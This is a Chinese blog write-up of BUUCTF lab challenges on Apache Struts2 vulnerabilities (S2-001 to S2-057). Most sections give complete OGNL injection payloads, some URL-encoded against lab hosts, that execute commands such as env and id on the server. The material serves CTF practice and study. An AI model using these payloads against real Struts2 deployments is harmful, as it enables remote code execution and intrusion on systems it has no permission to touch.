struts2系列-Real-BUUCTF平台
本篇内容
[struts2]s2-001、[struts2]s2-005、[struts2]s2-007、[struts2]s2-008、[struts2]s2-009
[struts2]s2-012、[struts2]s2-013、[struts2]s2-015、[struts2]s2-016、[struts2]s2-045
[struts2]s2-046、[struts2]s2-048、[struts2]s2-052、[struts2]s2-053、[struts2]s2-057
上一篇 | 目录 | 下一篇
[struts2]s2-001
直接找该漏洞的示例exp:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
将pwd
改为env
获取环境变量即可得到flag。
[struts2]s2-005
使用工具跑出payload:
工具地址:https://github.com/HatBoy/Struts2-Scan。
[struts2]s2-007
类似之前,在age处填入payload:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
然后点击提交会在该框中显示内容:
复制下来查看得到flag:
[struts2]s2-008
http://node3.buuoj.cn:27242/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29
[struts2]s2-009
s2-009没用,用s2-008的出来了,使用工具跑出payload:
工具地址:https://github.com/HatBoy/Struts2-Scan。
[struts2]s2-012
s2-012不知道咋搞,用s2-016的出来了,使用工具跑出payload:
工具地址:https://github.com/HatBoy/Struts2-Scan。
[struts2]s2-013
直接找该漏洞的示例exp:
http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
将id
改为env
获取环境变量即可得到flag。
http://node3.buuoj.cn:27799/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
[struts2]s2-015
使用工具跑出payload:
这里借助s2-016的,因为s2-015的env获取不到flag。
工具地址:https://github.com/HatBoy/Struts2-Scan。
[struts2]s2-016
使用工具跑出payload:
工具地址:https://github.com/HatBoy/Struts2-Scan。
[struts2]s2-045
类似之前,payload:
"%{(#a='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
[struts2]s2-046
使用工具跑出payload:
工具地址:https://github.com/HatBoy/Struts2-Scan。
[struts2]s2-048
首先在网址http://node3.buuoj.cn:28568/后面加/showcase
,结果:
点击红框进入另一个页面,输入payload:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
然后将上面的示例payload中的id
改为env
,结果如下:
虽然不知道为啥报错了(我试了ls
啥的都不报错),但是不影响结果,如上图框中内容包上flag{}
既是正确flag。
[struts2]s2-052
花了半天时间,耗死做不出来,好难受。太菜了,暂且搁置。
[struts2]s2-053
在网址后输入一个/hello
进入如下页面:
输入payload(注意结尾要有空格):
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
[struts2]s2-057
类似之前,payload:
http://node3.buuoj.cn:29922/struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105697178
========================================================
struts2系列-Real-BUUCTF平台相关推荐
- z490 linux raid,PC硬件与外设 篇二十三:光威弈系列Pro Z490平台装机评测(含raid模式)...
PC硬件与外设 篇二十三:光威弈系列Pro Z490平台装机评测(含raid模式) 2020-06-16 09:53:51 0点赞 0收藏 0评论 创作立场声明:raid模式值得体验 存储颗粒与主控的 ...
- ARM系列之ARM 平台安全架构PSA和Trustzone区别 浅析
ARM系列之ARM 平台安全架构PSA和Trustzone区别 浅析 PSA要求是什么? C1.1 硬件级别的隔离环境 C1.2 安全启动 C1.3 生命周期管理 C1.4 密钥管理 差异总结 熟悉A ...
- struts2系列(二):struts2参数传递错误、struts2的输入错误验证
一.struts2参数传递错误 1. 基本数据类型的传递最好使用包装类,原因是struts 2.1之后使用基本数据类型如果参数为空会报错 2. 日期参数的传递最好定义一个区域的属性(定义locale) ...
- ARM系列之ARM 平台安全架构PSA 浅析
ARM系列之RM 平台安全架构PSA 浅析 1.背景 2.PSA安全认证 2.1 什么是PSA? 2.2 功能性 API 认证 2.3 PSA安全认证(待完善) 3.专用的开源安全固件代码 1.背景 ...
- 干货:Easy系列各视频平台云台控制功能的使用注意事项汇总
TSINGSEE青犀视频旗下Easy系列视频平台,比如EasyCVR.EasyNVR.EasyGBS等,均可支持对摄像头的云台控制,包括摄像头的焦距调整.方向调整等.在视频监控场景中,摄像头的云台控制 ...
- linux嵌入式开发arm7,基于ARM7系列芯片嵌入式平台上实现的设计方案-嵌入式系统-与非网...
本文介绍的方法是在用ARM7系列芯片S3C4510B和μClinux构建的嵌入式平台上实现的.在嵌入式系统设计过程中,系统的掉电保护越来越受到重视整个掉电保护实现的基本思路是:产生掉电信号,捕捉掉电信 ...
- Android Bug分析系列:第三方平台安装app启动后,home键回到桌面后点击app启动时会再次启动入口类bug的原因剖析...
前言 前些天,测试MM发现了一个比较奇怪的bug. 具体表现是: 1.将app包通过电脑QQ传送到手机QQ上面,点击安装,安装后选择打开app (此间的应用逻辑应该是要触发 [闪屏页Activity] ...
- 【makefile系列】全平台编译脚本makefile
脚本包含:MAC.IOS.Windows.Linux.Android平台 开源地址:https://github.com/fermay/Makefile_demo
- struts2系列(四):struts2国际化的多种方式
一.struts2国际化原理 根据不同的Locale读取不同的文本. 例如有两个资源文件: 第一个:message_zh_CN.properties 第二个:message_en_US.propert ...
- CTF题之BUUCTF系列:BUUCTF Misc 二维码
一.名称 BUUCTF Misc 二维码 二.题目链接:https://buuoj.cn/challenges#%E4%BA%8C%E7%BB%B4%E7%A0%81 解压缩后是一个二维码 三.解题步 ...
最新文章
- 使用光标查询10部门的员工姓名和工资,并打印__使用光标查询员工姓名和工资,并打印
- windows系统内实现端口转发
- 翻到几年前的代码,我惊了。
- 如何处理几十万条并发数据_Swoole 如何处理高并发以及异步 I/O 的实现
- redis rdb aof区别_Redis(三):持久化RDB,fork.copyonwrite,AOF,RDBamp;AOF混合使用
- 基于springboot+shiro一套可落地实施安全认证框架整合
- 黑鲨5系列游戏手机通过3C认证:支持120W超级快充
- oracle 查询clob
- Netty入门系列(2) --使用Netty解决粘包和拆包问题
- 简单病毒的制作学习分享~
- 《软件体系结构》 第四章 软件体系结构描述
- 用 JavaScript 实现时间轴与动画 - 前端组件化
- 联想G480黑苹果试玩纪录
- pycharm安装open3d的方法
- UE编辑器重要快捷键总结
- vue-amap的使用
- #03 ASP.NET主题
- 展现巨星风采!字母哥关键时刻挺身而出
- C# Microsoft Speech 选择音频输出设备
- Ubuntu 复制文件到远端时错误,Permission denied 失败原因深度探索